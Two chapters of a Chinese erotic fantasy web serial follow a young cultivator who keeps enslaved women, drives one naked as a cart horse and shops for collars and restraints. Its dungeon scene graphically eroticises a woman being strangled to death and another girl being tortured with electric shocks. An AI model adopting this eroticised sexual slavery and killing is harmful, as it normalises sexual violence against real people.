登录 首页 视频
公告
移除广告,支持支付宝
晴空万里 / 2025/08/10 14:03 / 3465 / 28 /
【小说】炼奴诀

晴空万里 / 发表于: 2025/10/28 07:40:39

第二十五章白玉珍
  金竹县,以县北有一金竹林而闻名。金竹与寻常竹子外形相似,只是竹竿叶片上泛着金属光泽,因此而得名。金竹质地坚固,既有竹子本身的淡雅气质,其金属光泽又为其赋予了一种低调奢华有内涵的别样情趣,因此作为建筑材料或园林布景都很受欢迎。李芒出发后的第一站就是这里。
  而眼下,李芒望着远处黑金色的城墙,手扶着车,汗流浃背地挥舞着树枝,喊道:“快走啊!”
  “不要!”车前面拴着缰绳,而缰绳拴着的却不是牲口,而是一个娇俏可爱的赤身少女。 不用说,这是英儿。
  树枝噼噼啪啪抽在英儿身上,留下无数道红肿,疼得她流出眼泪,可她就是站在那里任打任骂,一动不动。
  “……”车上放着包裹,包裹上坐着一个闭月羞花的美丽女子,便是银月仙子,可她此时却是低着头,扶着额头,借机挡住脸,却挡不住发红的耳朵。
  在这两人一马周围,一个个大包小裹,拉车挑担的平民从他们身边走过,神情怪异,指指点点。
  “快看,那闺女竟然光着身子给他们拉车。”
  “少看两眼,定是黑道上的人,离他们远点。”
  “多俊的闺女啊,让那小子抽成那样,真可怜啊,那小子真不是东西。”
  “你懂什么,那男的就是一狗腿子,坐车上那娘们儿才是主子。主子让打,你当奴才的不使劲,到时候有你好看的。”
  “……”
  “英儿,姐姐,奶奶,祖宗诶。”路人的议论让李芒脸皮发烫,不禁央求道:“那天我开玩笑的,我不把你卖到妓院,我把药草卖了就给你解开,不用你做母马了,我领你吃顿好的,你可行行好挪挪地儿吧。”
  “不要!我不要这样进城!”英儿尖叫,本来她嘴里是卡着树枝的,结果刚才情急之下硬是被她吐出去了。天有阴阳两仪,人有正邪两极,势力就有黑白两道。不同势力下的领地对正邪两道人士的态度也不一样。正道的城市对魔道分子严厉打压,邪道城市也有可能排挤那些正道人士。而英儿这身打扮一看就是沾了魔道的,且不说能不能进城,就是还没进城都被人指指点点,等进了城再不得被更多人议论纷纷,英儿恐怕羞得连死的心都有了,她这身子便宜,但也没便宜到一文不值,她下贱,但也没贱到毫无底线,所以才会爆发出成为母马以来最强烈的反抗。
  “你快想个办法,我可被你害死了!”银月仙子挡着脸,瞪着李芒,羞恼道。李芒和英儿多少还算没脸没皮的那一绺,银月仙子作为根正苗红的名门正派结果被人当做魔道头头才是真的臊人,她一开始为了避嫌还下了车走两步,结果路人说“这大闺女都瘸了还得下地走,这男的真不是东西”,李芒听了便硬是要她坐在车上,坐在最高最招风的地方,这下好了,对着她说什么的都有。
  一帮子刁民!银月心中一片羞恼,议论人就议论人,就不能小点声吗?!过去自己看那女犯被剥光了架上木驴游街,那女犯哭得撕心裂肺,鬼哭狼嚎,当时她还没有什么感触,如今现在她便能理解一些了,她们三人此时又与那游街何异?无非是一边是车走人不走,一边是人走车不走,而且她们这边还穿着衣服,除了英儿。
  “你,你……”李芒抽得气喘吁吁,可英儿还是不动地方。就是想对她拳打脚踢,众目睽睽下也不敢真动手,这金竹县自己没少来卖药,总归是有些熟人,带着一个裸女马奴就够给自己丢脸了,要是再打女人那自己名声就彻底臭了,无视他只能颓丧地低下头,咬牙切齿道:“你哪是马,真是头倔驴!”
  英儿也是低着头,抿着嘴唇,眼眶泛红。先前在荒郊野岭拉车倒忘了这一茬,要是当初想起来了说什么也不同意做母马。当时李芒说她是被不知道多少人玩的烂货,但真要算下来可能也就四五人,铁厉是一个,他玩得最狠,剩下几个是庆功宴上被当做奖励赏给有功的统领们,这是真插进来的,平日被骚扰揩油什么的不少,但也不算玩上了。但不论怎么说,一般也都是背着人做的,公开的有几次是铁厉在宴会上当着百十号人的面伸到她裤裆里摸了摸,这就算顶头了如今自己一个时辰不到就被百十来人看个精光,还是像个牲口一样拉着车的模样,那些视线中有同情怜悯,但更多是嫌恶和讥讽,若平时她也能勉强无视,但自那日经历过《牝驹经》的幻境剧变后,英儿的内心有了些微变化,少了一份活泼,多了一分敏感脆弱,否则今日也不会有这般大的反应。
  银月仙子见另两人都放弃了思考,心中暗骂一声无用的东西,只听得“苍啷啷”,银剑出鞘。银月仙子单脚一点,跃在半空,手腕翻飞,周身剑光闪闪,吸引了众人视线。
  “滚。”银月仙子口吐寒声,漫天剑光汇于一处,剑随心出,道边一半人高的岩石瞬间崩成两半,断面光滑如镜,
  “救命啊!”
  “女魔头杀人啦!”
  “快进城!”
  路人们抱头鼠窜,转眼间跑得一干二净,更有甚者连自身财物都扔了。
  “还,还是银月神通广大,哈哈……”李芒看见银月仙子的脸色,缩了缩头,讪笑道。
  “少说那些废话吧,这是进县城的路,人是源源不断的,吓人不是长久之计,你还是想想她怎么回事吧。”银月仙子收起剑,没好气道。若不是自己还有身为名门正派的操守,她定要把刚刚叫自己女魔头的家伙斩了。
  李芒看着英儿,有些为难,他并非看不出英儿的纠结,但他也没招。在英儿成为母马的第二天,玉灵儿就把她的衣服烧了个一干二净。李芒虽然在情场上还没开窍但也不是傻子,总不能打银月仙子的衣服的主意,虽然她现在穿这几件布衣都是他找人借的。英儿需要穿衣服才能进城,但是也只有进了城才能搞到衣服,看刚才的样子路人对他们敬而远之,这是个死局。
  就在李芒打算着让英儿披上自己的衣服藏在车上,自己拉着一车草药和两个娘们儿进城时,只听得身后有一男子道:“敢问小哥可是魔道中人?”
  李芒猛地回头,银月仙子先他一步闪至李芒身前,将其挡在背后,也挡住他的视线。李芒探出头来,只见银月仙子已经拔出银剑,直指一个白袍少年。
  少年风度翩翩,肤白红唇,玉树临风,俊美如女子,身上白袍一尘不染,只是裤腿和鞋上沾些泥污。所用布料李芒认不出来,但一看便知道不是便宜货色。
  “公子看错了。”银月仙子冷冷道。
  少年看了看面前的剑尖,又看了看一脸冰寒的银月仙子,笑了笑,取下腰间玉佩,扔给银月仙子。
  银月仙子伸手抓住玉佩,飞快地扫了一眼,忽然面色绯红,猛一挥手,那玉佩在空中划过一道直线,飞回少年手中。李芒看得匆忙,只瞥到那玉佩上刻着一个女人的臀部,一只纤细小手从臀瓣中伸出来,手中捻着一支莲花,清雅中带着邪淫。
  “……无耻下流!”银月仙子嫌恶道。
  “这对我等魔道之人来说可是褒奖呢。”白袍少年又取出一把折扇,将其展开,李芒这次又清楚地看到,扇面上画着一美貌裸女侧卧其中,体态慵懒丰腴,似是弥勒卧佛,头上却是光秃秃一片。胸口处趴着几头猪崽子,正抢着嘬裸女那一对嫣红乳豆。裸女半眯双眼,神情几分痛苦几分欢愉,好一把无耻下流的折扇!
  李芒心下了然,这人见到那赤身拉车的母马英儿,便将自己也认作是一魔道淫修。
  见李芒仍是面带警惕,白袍少年也还是一副春风和煦的模样,和蔼道:“小哥不必紧张,在下也不过是见到同道中人,想着帮衬一下而已。就是魔道也要讲究个互相帮扶共同进步不是?”
  “你到底想说什么?”银月仙子冷冷道,她可不想被一个魔道当做同类。
  “在下的意思是,”白袍少年道,“金竹县有东北南三大城门,但在西边还有一处小城门,专供魔道进出,小哥从南而来,又从南门而入,恐怕要费点劲。”
  “西边?小城门?”李芒一愣,自己来这里这么多年,怎么从不知道有这回事?
  “呵呵呵,看来小哥有所不知,”白袍少年扇着扇子,“金竹县虽名义上归属正派,但金竹贸易太过诱人,这里又没有能力拦住想要分一杯羹的魔道,因此便在县城西侧划出一片区域容纳魔道之人,凡是要进城的魔道都应该从西城门进入。”
  “那你为何走这南门?”李芒问道。
  “在下孑然一身,只要做好掩饰便与那寻常百姓无异,能入得正派之门,也省的绕远。可小哥这匹小马儿太过显眼,因此也只能走我们魔道的西门。”白袍少年斜了斜身子,看向李芒身后的母马少女,也是微笑着点了点头。
  “为什么帮我?”李芒问出了最关键的问题。
  “邪魔外道,邪魔外道,重点不在邪魔而在外道,不被正道所认可的都是外道。邪魔是外道的一部分可外道却不全是邪魔,因此在下见小哥不像什么穷凶极恶之徒,又遇上困难,便忍不住出手相助,给自己结一份善缘。”白袍少年儒雅随和,声音也是温润如玉,听着令人无比舒服。
  “哼。”银月仙子不屑一顾,外道是不全是邪魔,但八九成邪魔的外道和十成的外道又能差出多少呢?只是面前这白袍少年温文尔雅, 她也挑不出什么毛病。
  李芒倒没想太多,从银月仙子背后走出,抱拳道:“那便多谢公子提醒了。”
  白袍少年摆摆手,道:“不妨事。若是小哥不嫌弃,便让在下帮人帮到底,带你们去那西门,让小哥熟悉一下。”
  李芒大喜,再次抱拳道:“那便麻烦了。”
  于是三人一马便转了个弯,朝西去了。
  李芒与白袍少年年纪相仿,相谈甚欢。白袍少年姓白名玉珍,是某富商家的二公子,家业交给大的,他乐得清闲便整日游山玩水,炼气期五阶的实力虽不能让他毫无顾忌但也足够自保。至于修行的什么功法,白玉珍没说,李芒虽然好奇但也识趣地没问。邪魔外道,终究是不为正道所容,还是少知为妙,更何况自己身边还有一个正道的银月仙子,还是别触她的霉头为好。
  “说起来,李兄进城所为何事?”白玉珍问道。
  “卖药,然后去寻人。”李芒道。
  “寻人?男人还是女人?”白玉珍来了兴致,眨眨眼睛。
  “我的青梅竹马。”李芒一想到青岚,心情有些低落。
  “好一个多情的儿郎!”白玉珍把玩着折扇,哈哈大笑,但见李芒情绪不高后又收起笑容,认真道,“所谓相逢是缘,李兄不妨将她的相貌告诉我,我日后也帮李芒留意一下。”
  “那便先谢过白公子了。”李芒感激道,又将青岚的相貌描述了一遍。
  “举手之劳,不必客气。那就祝李兄早日寻回心上人了。”白玉珍笑道。
  李芒有些不好意思,挠了挠头。后边坐在车上的银月仙子看到李芒的反应,眉头微不可察地皱了皱,随即又看向远处的风景,不知想些什么。
  走了小半天,一行人绕至西城门。此处平坦坦,空荡荡,除了守门卫兵便不见其他人。
  “我等魔道之人多是昼伏夜出之辈,因此进城也多选择傍晚时分,因此白天这种小城门几乎很少有人,这样一来李兄这小母马应该就不会有那么大反应了吧。”白玉珍道。
  “真是谢谢白兄了。若没有白兄相助刚刚就得让英儿藏在车里,我自己推车进城了。”李芒笑道。
  听到这儿,白玉珍也是收敛了些笑容,有些正式地道:“李兄,眼看就要进城了,在下有些话要说,李兄别怪在下说得难听。说实话,在下观李兄言谈举止可不像是配得上李兄身边这两个女奴的人,想必是有着自己的一番机缘,但李兄依旧是对玩奴这一块没什么了解的。这女奴都是要配一个项圈的,这样才规矩。不然李兄进了城,领着两个不戴项圈的奴,是会被人看轻的,邪魔外道,没有邪魔不成外道,李兄这两个奴都是品相极佳,若是不谨慎一些少不了来找麻烦的,就是杀人夺奴这种事在下也见得不少了。”
  李芒闻听,心中一紧,没想到这女奴还有这样的规矩。连连点头,心中对白玉珍的感激又多了一分。但还没等说些什么,忽然感觉如芒在背。李芒转过头,不出意料,银月仙子的脸色十分难看。不用多说,她肯定是不愿意戴那什么狗屁项圈的。谁是奴啊,姓白的你才是奴,你全家都是奴。
  “你嘴巴放干净些,我可不是他的女奴。”银月仙子手扶着银剑,冷声道。
  白玉珍倒也不惧,道:“前辈,这世道人言可畏,三人市虎,你觉得自己是不是不重要,关键是旁人看你如何。虽不知李兄所得机缘为何,但在下却是能感应得出前辈与那小母马身上都有李兄留下的奴印,因此不论前辈因何缘故被李兄种下了灵魂烙印,但就结果而论,被种下这等奴印便是做了奴,在下如此认为,其他魔道中人也会这样认为,就是正道之人也是如此。”
  “那不一样,我和他是合作关系……”银月仙子急忙解释道。
  “不论如何,奴印既然已经种下,那便是奴。”白玉珍笑笑:“不过前辈既然有自己的理由,在下便相信前辈的解释,可世人千千万,前辈难不成要向天下人解释?天下人难不成又都会相信前辈所言?”
  “随你如何说,总之我不是那种肮脏的东西。”银月仙子争辩不过,冷哼一声。白玉珍看着银月仙子,露出洁白的牙齿笑了笑:“国有国法,家有家规,魔道也有魔道的规矩。前辈就是再不情愿也至少做一些表面功夫,这样对大家都好。”
  银月仙子冷着脸,扭过头去,不置可否。
  “呵呵,能收了前辈,李兄的机缘可不算小,但吃多嚼不烂,倒是得多花些时间消化。”白玉珍也不在意,依旧笑吟吟的。
  进城倒没什么麻烦的,交了税金,照例警告一句城里不得惹是生非后便放行了。银月仙子和英儿容貌都属上乘,让守门的几个士兵看直了眼,不过也没有过分的举动。毕竟这里来的都是魔道中人,一言不合就屠城的不在少数,金竹县这小地方虽然碰不上那种狠角色但能要自己的命的还是比比皆是的,别因为裤裆里那点想法就把命丢了。
  英儿拉着车,她也是第一次来这里,不免有些好奇地张望着。城墙用黑色砖石砌成,外面糊了层掺杂金竹纤维的糯米浆,风干后形成一些黑中带金的独特机理,金竹纤维的相互纠结形成一张网,将一点的攻击分散给一大片城墙来承担,极大增加了城墙的防御力。
  进了县城就是金竹县划给魔道之人的一片区域。各种布置与金竹县其他地方相似,只是人很少,而且多歪瓜裂枣,凶神恶煞。药房疗伤药卖得没有毒药好,沾着血的赃物在街边摆个摊就买了。除此之外就是赌场和妓院不少,适应了这些的话其实和金竹县其他地方差不太多。
  银月仙子和英儿依旧很引人瞩目,但是银月仙子隐隐放出一股气势,白玉珍保守估计能有炼气期六到七阶的水平,足够打消一些人的非分之想了。
  李芒和白玉珍等人寻到一处能收母马的客栈,一个小二卸了车,牵着英儿去到后院马厩里,白玉珍看不上这里的条件,因此也告辞了。进了金竹县李芒心里就踏实多了,跟客栈的伙计交代几句后就领银月仙子回了房间,是两间房。银月仙子要分开住,但李芒却囊包羞涩,本以为自己能跟银月仙子共处一室,共度春宵,结果银月仙子却是弹弹百川戒,排出一枚银元宝来,乐得掌柜鼻涕泡都出来了,但代价是李芒心中的小心思落空了。
  李芒终究没做好当小白脸的准备,抬头看着高自己一头的美仙子,道:“我会还钱的。”
  银月仙子低头看了看李芒,李芒忽然发觉她的嘴角似乎翘了那么几厘几分,但又不大确定。
  “等你有钱了再说吧。”银月仙子领了钥匙,走上楼去。
  她脚腕上的伤已经消肿了,但正所谓伤筋动骨一百天,也仅仅是恢复到能下地走两步的水平,更多时候还得静养。
  李芒进到自己房间,条件不算差,但也仅仅是能住。屋里一股霉味,被褥也是有些发潮,但总比风餐露宿要强,李芒没脱衣服,躺在床上闭上眼。窗户对着内院,此时已经日薄西山,屋中逐渐昏暗,几个婢女在院中洗着床单被褥,嬉笑声从窗户外飘进来,吵得李芒睡不着觉。不一会儿,一个男人的大嗓门如炸雷般把李芒惊起,那男人应该是管家一类,喝骂着那几个婢女,又听到几声鞭响和女人的尖叫。之后归于平静,但李芒却睡不着了。但他也不想起来。在床上懒了一时片刻,他咬咬牙,坐起身来,盘起双腿,调动着腹上气海阵中的真气,温养着自己的经脉和四肢百骸。李芒的经脉是凡人经脉,修炼起来事倍功半,若不是引动真气源自双修采补而非天地之气,性质更加温和,《炼奴诀》所用的炉鼎阵法又十分高明,否则李芒这辈子恐怕都不会有修炼的机会。但相对的,李芒则是要付出更多努力来提升实力,否则日后就算找到了青岚也绝无将其救出的可能。
  “青岚……我一定会带你回家!……”李芒眉头微皱,喃喃道。
  ……
  滴答,滴答。
  几个黑衣狱卒呼出一口白气,那热气散在空气中,向上飘去,遇到天花板,便凝成水,滴下来。在地牢轮值就是遭罪,几个人七嘴八舌地聊着轮班结束后去蒸桑拿的事,以此望梅止渴。
  “呀啊啊啊啊啊啊啊啊主人饶命啊啊啊啊啊啊啊!”一声女人的惨叫从极远处传来,似是杀猪般的嘶鸣。猪一辈子吐不出人言,但人却能在这里像猪一样嚎叫。
  另一边,一个女人在高声浪叫:“齁哦哦哦哦哦——大人快要把奴儿的骚屄肏烂了!大人用力,更用力地肏死奴儿吧——唔哦哦哦——对,掐住奴儿的脖子,大人一掐奴儿的脖子奴儿就夹得更紧了,掐死奴儿吧,让奴儿去那极乐世界吧——哦哦哦哦哦奴儿去了,和大人一起去了哦哦哦哦哦——好大人,您肏得奴儿好满足,快把手松开,让奴儿帮您清理鸡巴……大人,您别和奴儿开玩笑,奴儿怕……哦……哦……大人,不要,奴儿不想死……哦……大人饶了奴儿,奴儿给大人当尿壶,舔屁眼,您想怎么玩都……哦……救……”
  只听得骨头折断的脆响,一个女人的声音永远消失了。几个狱卒对视一眼,淫笑两声,离开了地牢,准备接收一具还温乎着的女肉。大人吃肉,他们这些小人物喝汤。
  一阵脚步声后,地牢里恢复了寂静,在那些狱卒刚刚站着的位置旁有一间牢房,此处的牢房不似其他地方,装着铁栅栏,而是用墙封死,几乎隔绝了一切光照,只在人头的位置开了一个窗口,又在下边开了个膝盖高的门洞。
  在浓密得几乎化不开的黑暗中,一个少女似是有所感地睁开眼,随即她自嘲地笑笑,又合上了眼睛。刚刚似乎只是错觉吧。
  哒哒哒,脚步声响起。少女似是受惊的小鹿一般跳起来,哆哆嗦嗦地冲着某个方向跪下来,岔开双腿,双手抱头,一动不动。
  脚步声在少女左侧停下,少女心里一凉,还没等她调整位置,只见左侧一道昏暗的光射进来,照亮了她面前的那堵血迹斑斑的墙。
  “贱婢,这么久了还找不准位置!”牢房外的老嬷吐了口唾沫,骂道,将手中的棍子从打开的小门处捅进去,戳在少女那布满伤痕的屁股上。棍子尽头镶着两个紫黑色的晶石,唤作地雷石,伴生在大规模的磁铁矿附近。两个地雷石相触便能产生电流,当然,用其他物质做导体将晶石相连也能产生电流,而多巧啊,人体也能传导电流。
  “唔嗯嗯嗯——”少女只觉得全身肌肉都在不受控制地抽搐,似乎是有什么力量要将其从骨头上撕下来,从皮肤下扯出来。她咬紧牙关,忍受着钻心的疼痛,压抑着喉咙深处的惨叫。她不能叫,不能动,否则会受到更残酷的惩罚。那惩罚她刚刚来到这里时吃过好几次,每一次都会让她后悔生为一个女人,若有来世就是做猪做狗,当一个畜牲她也不想再当一个女人。
  电击持续了数十息,一道鼻血歪歪扭扭地流下。正当少女以为自己快要撑不下去后,戳在屁股上的棍子收了回去,少女喘着粗气,汗如雨下。屁股上刚刚与地雷石接触的地方出现了两个焦黑的点。
  一截绳子从门口被扔进牢房。
  “谢谢妈妈惩罚。”少女嘶哑着声音道。她转过身子,面向那狗洞一般的小门,或者说那就是狗洞。少女对着门口磕了头,然后拿起绳子,又摸到脖子上的项圈,将绳子末端的活扣扣在项圈上,又恢复了先前的姿势。
  “贱奴青岚,给妈妈和主人请安,青岚今天也会为了成为一头淫贱雌豚而鞠躬尽瘁,死而后已。”少女木然地背着滚瓜烂熟的句子。
  项圈上传来一道拉力,青岚四肢着地,爬出了狗洞,几滴清泪从她的脸颊上滑落。最近她越来越少哭了,泪水也越来越少,也许不久后就流不出泪水,哭不出声了。
  然而相对的,下面的水却是一天比一天多了……

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

晴空万里 / 发表于: 2025/11/04 05:50:49

二十六章-雪狐项圈
  当夜幕将这一方天地染成蓝色,城镇中亮起点点橙色的光的时候,有人敲响了李芒房间的门。
  “这位爷,楼下有个白公子找您。”门外的小厮道。
  李芒一听,连忙下了楼,只见白玉珍正坐在桌上,面前摆着一壶热茶。
  “白兄,你怎么来了?”李芒道。
  “呵呵呵,在下安顿下来后,有些无聊,因此邀李兄一同在这金竹县城中转一转。”白玉珍喝了口茶,随后将杯中茶水倒在桌上,杯子倒扣,又道:“顺便再寻个地方吃口饭,这家的茶真难喝,恐怕饭食也好不到哪去。当然,在下请客,李兄千万不要客气。”
  李芒刚刚完成修炼,闲来无事,便点点头,正欲答应。
  “慢着,”一道清冷声音响起。李芒回头,只见银月仙子缓缓走下。“也带我一个。”
  李芒看向白玉珍,后者则把玩着扇子,笑道:“当然可以,能和前辈一道可是在下的荣幸。”说完便站起身子,三人一起走出了客栈。
  小二面带愠色地走到桌边,抹布在桌上胡乱擦了两下。嫌弃咱家的茶,还不给钱,装什么大爷。可等他一拿起那倒扣的茶杯,见到里面的银子,小二顿时喜笑颜开,您真是大爷啊,喝一口高碎付的钱都够我半月的工钱。小二眼球骨碌碌一转,四下张望,见掌柜不在,便悄悄把银子揣进怀里。
  金竹县终究比不上那些大城市,晚上也没有多么热闹。只有酒肆,妓院周围还算有点人气。当然,像城西这片划给魔道势力的地界还有售卖调教用品的店也很受欢迎。
  李芒三人走进一家店面,店家唤作规矩坊,正建在一家妓院对面。门口贴着一副对联,上联书:没有规矩不成方圆,下联书:舍得琢磨才出香玉。再看向店门口一对狗首人身的裸女雕像,其意味不言自明。
  “来这里做什么?”银月仙子看着琳琅满目的各种鞭子,镣铐,各色材质的假阳具,还有其他她都不知道什么作用的道具,再看看身边那些从对面妓院搂着风尘女子出来的嫖客,紧皱眉头。
  “给前辈和李兄的小母马置办些应用之物,比如项圈什么的。”白玉珍兴致颇高。
  “我不戴。”银月仙子干净利落地拒绝了。
  一个从银月仙子身边路过的嫖客看了银月仙子一眼,一时间竟看直了眼,随后看向白玉珍和李芒,有些意味深长地笑了笑。
  白玉珍也是微笑着点头回礼,又对银月仙子道:“恐怕这事仙子是不得不戴的……”
  “尔敢?”银月仙子柳眉一竖,一股气势在店中肆虐开来,嫖客汗流浃背,妓女花容失色,短短数息竟跑了个精光。
  “何人在本大爷的地盘上闹事?”一声大喝如炸雷般响起,一个大汉从里屋窜出来,站在李芒一行人面前,接着几个彪形大汉也是鱼贯而出,在店内排开,包围过来。对面妓院也是跑出几个大汉,堵在门外,不用说,这都是打手。
  银月仙子冰冷的目光扫过这些人,一开始那大汉应该是这些打手的头子,竟也有炼气期二阶的修为,其余打手虽然都是凡人,但也都不是花拳绣腿之辈。也是,做妓院赌场这类行当的拳头不大是干不下去的。
  那打手头领面上威武,心中却是慌的。这娘们儿修为一看就在自己之上,真打起来一百个自己也不够她杀的。但是输人不输阵,头领声如闷雷道:“本县归正道大派昴日宫管辖,严禁私斗。你这女人是要在这里给昴日宫难看不成?”
  李芒眼见形势不对,面色凝重,轻轻挪了挪身子,挡在银月仙子身前。
  银月仙子阴沉着脸不说话,她是吃过见过的,这什么昴日宫也不过是三流势力,也只能在这种穷乡僻壤还有点话语权,自然是入不了她的眼的,就是论拳头哪怕修为被封她也是想来就来想走就走。只不过周围这些打手终究不是土匪,土匪杀了就杀了,但这些打手却是在县城中,受到正道律法的庇护,甚至还涉及到一些盘根错节的利益网络。是,几个打手死就死了,但打手背后的势力却不会允许别人在自己的地盘上挑事,也就势必会进行报复,而如果还击则势必会牵动更深一层的势力,除非有碾压性的实力以断绝这种拔出萝卜带出泥的情况,否则麻烦是会越打越多的。而银月仙子此时显然不具备这样的能力。而且若是自己一人倒也不惧,走便走了,只是李芒也终归是住在这片地界上的人,银月仙子不太想因为自己的任性而给李芒带来麻烦。之前坨坨村遇袭的事真要论起来也有一部分是因为自己追杀百藏子而使其受到牵连,李芒事后虽然没有怪罪银月仙子但她心中多少是有些过意不去的。
  但如果此刻退步,银月仙子也拉不下脸来,更何况如果退步就意味着她同意戴上项圈,这是她绝不接受的。
  这时,白玉珍对那打手头领拱手抱拳,笑道:“实在不好意思,这是我为挚友新寻得的一个女奴,不曾想惊扰了店家,还望店家多多包涵。正所谓来者是客,在下今日的消费定会让店家满意的。”
  伸手不打笑脸人,白玉珍这个态度,头领也不好多说什么,只得看向那一身粗布衣服的李芒,上下打量一番,哼了一声,道:“娘们儿要是教不好就别带出门,净给人添麻烦。”随即挥了挥手,众打手便散去了。门外传来一声声叹息,原来门外不知何时凑了一堆看热闹的,本以为能看到血肉飞溅,过足眼瘾,可风波却平淡收场,让他们大感失望。
  白玉珍对着头领抱拳道谢一声,又看向银月仙子,低声道:“在下不知前辈是何身份,但相比不是寻常人物,沦落至此定然心有不甘,但是所谓形势比人强,正如在下白天说过的,前辈私下怎样都好,但是出门在外起码做出个样子,对前辈和李兄都好。逢场作戏的道理前辈应该比在下更懂。”
  “……”银月仙子盯着白玉珍,后者一脸淡定,却无半点戏谑。她又看向李芒,后者的眼神紧张但不胆怯。银月仙子咬了咬嘴唇,道:“那便买一个项圈吧。”
  白玉珍笑了笑,没有多说什么,拉着李芒在店内挑选起来。
  银月仙子冷冷看了一眼那头领,对他先前对李芒那轻蔑的态度和言论十分不满意,李芒明明什么都没做,却被那厮说得好像十分无能一样,令银月仙子在心中为李芒打抱不平。而那头领则是一副漠然神情,心中却是汗流浃背。没训好的奴什么都可能做出来,要是她忽然对付自己,她肯定是要受罚的,但那时候自己也必然是一具尸体了。
  所幸,银月仙子还是没有找头领的麻烦,肯定是气不过,但自己也不是孤家寡人,总不能给李芒牵扯进来。
  “银月,银月?”李芒的声音传过来。
  银月仙子回过神,见李芒拿着一个白色的项圈道:“买这个可以吗?”
  银月仙子皱着眉头打量着那项圈,白色的皮革上用金色的丝线绣出花鸟纹饰,内里衬着白色的绒毛,看上去也算典雅精巧。
  “啊呀呀,客官真是好眼力啊!”忽然,一个身高只到那打手头领腰间的小老头子忽然窜出来,看那腰间挂着的一个小算盘,想必是这间规矩坊的掌柜了。“这款可是小店的热销产品,用的可是北荒雪狐的皮,欺霜赛雪,内里是中洲球绒鸭的鸭绒,疏水透气,戴在脖子上皮肤不红不痒,对面店里的小姑娘们都是人手一个,爱不释手啊。”
  李芒被唬得一愣一愣,虽不知这掌柜说的是真是假,但李芒却觉得这项圈与银月仙子那一截雪颈很配,于是问道:“老店家,这项圈多少钱?”
  老掌柜笑了笑,捋了捋胡子:“价格公道,童叟无欺,五两银子。”
  “五两?!”李芒瞪大双眼,低头看着手中的项圈。他能看出这东西不便宜,但也没想到能这么贵。他此次出来把全部积蓄都带了出来,满打满算其实也就七两银子和半贯铜钱。虽说明天还要去卖药,但是被那老太婆雁过拔毛后落到自己手里能省个三四两也就顶天了。青岚还不知多久才能找到,刚出来没多久就为了个项圈花去五两银子属实是不值当。
  但是,李芒也没把项圈放回去。当着女人的面,东西调了,给她看了,价钱也问了,最后确实因为嫌贵而放回去,那还活不活了,这种事李芒死也拉不下脸来做啊。
  银月仙子看着李芒的神情,心中却是了然了几分,扭过头,淡淡道:“我不喜欢,换一个吧。”
  “客官,这项圈颜色做工都与这姑娘相配啊,”掌柜决定添一把火。“人靠衣装马靠鞍,美人更需珠与玉,身边的女人打扮漂亮了,客官领出去也是脸上有光。养女人客官千万别图便宜,姑娘花容月貌,若是客官不肯用心培养,令宝珠蒙尘,可是暴殄天物,实在不应该啊。”
  银月仙子听了,心中又是一股火,那句不肯用心培养听着是那么难受,明面上听是暗指李芒小气吝啬,可李芒穿着打扮也不是什么富贵人家,那这老不死言外之意显然还有暗讽李芒鲜花插在牛粪上,不自量力之意。不就是钱吗,老娘有的是!
  正当银月仙子取出银子,要拍在柜台上时,一旁那白玉珍从李芒手中拿过项圈,轻轻摩挲一下,忽然笑吟吟地道:“老店家,这项圈是北荒雪狐皮不假,但却不是从北荒产出来的皮。大陆各地都曾从北荒捕捉雪狐带回当地繁殖,水土不同,皮质也略有差异,若我没看错的话,老店家这项圈所用的雪狐皮应该是取自南疆自己繁殖的雪狐吧?如此一来,那五两银子可是有些贵了。”
  那掌柜一听,笑容瞬间僵硬,干笑两声道:“话是这么说,但雪狐毕竟不是本地的物种,饲养繁育起来也是颇为不便……”
  “呵呵呵,”白玉珍轻笑道,“老掌柜所言极是,雪狐在异地繁育的确不易,但是养殖雪狐的利润却不仅限于皮毛。正巧在下还有些研究,南疆有一特色丹药‘狐灵光’,以雪狐脑髓为主材,狐灵光可以明神养魂,一经推出便大受追捧,供不应求,如今雪狐养殖一本万利,狐脑的价格水涨船高,狐皮却因屠宰量的增加反而开始下降。如今老掌柜要还想把着项圈卖出前几年的价格,呵呵……”
  掌柜脸皮抖了一抖,心知这是遇上了行家,蒙不得。于是道:“哈哈,公子学识渊博,小老儿佩服。正所谓坐地起价,就地还钱,不知公子愿意出多少?”
  “二两。”白玉珍伸出两根手指。
  “二两?!”掌柜笑了,是被气笑的。“不瞒公子,这项圈就是进货价也是将近三两,还不算一路运货的开销,更何况我这店里这么多大小伙子也总得吃饭不是?所以您看这……”
  “放心,在下帮好友置办东西,买的东西定不会少,总的算下来贵店也总归是有得赚。在下确实不缺钱,但也不喜欢花冤枉钱,也希望老掌柜拿出点该有的诚意,莫要欺负我好友初来乍到不识其中的门道。否则,天下之大,昴日宫却不是其中的霸主,你们怕,可不是所有人都怕……”说到最后,白玉珍眯起双眼,眼神中掠过一丝寒意。
  掌柜浑身一哆嗦,赶忙下跪,道:“小的不敢,请大人恕罪!”
  “那么李兄,随便看看吧,喜欢什么都可以拿。”白玉珍转身看向李芒,又换回了平时和善的笑容。
  “真牛逼啊……”李芒忍不住感叹道。
  “没本事的富二代,花的钱没有一分是自己挣的,有什么可羡慕的。”银月仙子冷哼一声,却是在白玉珍在店中闲逛时不动声色地将两个小元宝塞到李芒手里,低声道:“借你的,该买就买,别丢份儿。”
  李芒看着手中的银子,知道银月仙子是怕自己到时候矮人一截,心中有些感动,盯着银月仙子的眼睛,笑道:“谢谢,我一定还。”
  银月仙子的脸微微红了一些,扭过头,淡淡道:“我只是怕和你出来,你一副穷酸样会丢了我的脸。”
  不是你要跟我出来的吗?李芒心里想道。
  总而言之,一段风波就此平息。等到出来时,李芒买了两根鞭子,分别用来调教银月仙子和英儿,给银月仙子买了那个雪狐皮的白色项圈,几套内衣和丝袜,只不过都是十分下流色情的款式,虽说知道是做做表面功夫但银月仙子的表情还是不太好看。给英儿则买了一个普通款的黑色项圈,马奴专用的一套笼头和嚼子,一件用拘束衣,说是衣服但本质上还是用几根皮带兜住胸部,然后在背后的部分加装一个紧紧挨在一起的手铐,既能避免绳缚带来的双臂血流不畅的问题也能托起乳房,提升美观度。当然,必不可少的还得是一根插入后庭的马尾,是用真人的头发制成,柔顺丝滑,只是颜色是黑的,无法和英儿的粉发相呼应,李芒心中盘算着想等英儿头发留长了用她的头发做一个马尾出来。
